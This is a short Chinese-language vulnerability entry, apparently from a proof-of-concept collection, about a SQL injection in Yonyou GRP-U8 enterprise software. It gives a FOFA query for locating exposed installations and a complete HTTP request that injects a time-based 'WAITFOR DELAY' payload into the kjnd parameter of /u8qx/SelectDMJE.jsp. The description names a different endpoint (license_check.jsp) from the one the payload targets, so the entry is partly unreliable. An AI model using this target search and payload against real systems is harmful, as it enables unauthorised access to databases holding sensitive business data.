Y16-5用友-GRP-U8-SQL

漏洞描述：

用友GRP-U8是用友软件推出的一款企业级管理软件套件，旨在帮助企业实现全面的数字化管理和业务优化。用友GRP-U8 license_check.jsp接口对用户传入的参数未进行有效的过滤，直接拼接到SQL查询语句中，导致SQL注入漏洞。攻击者通过该漏洞可以获取数据库敏感信息。

网站图片：

网络测绘：

fofa语法：

app="用友-GRP-U8"

漏洞复现：

payload：

```
GET /u8qx/SelectDMJE.jsp?kjnd=1%27;WAITFOR%20DELAY%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Connection: close
```

效果图: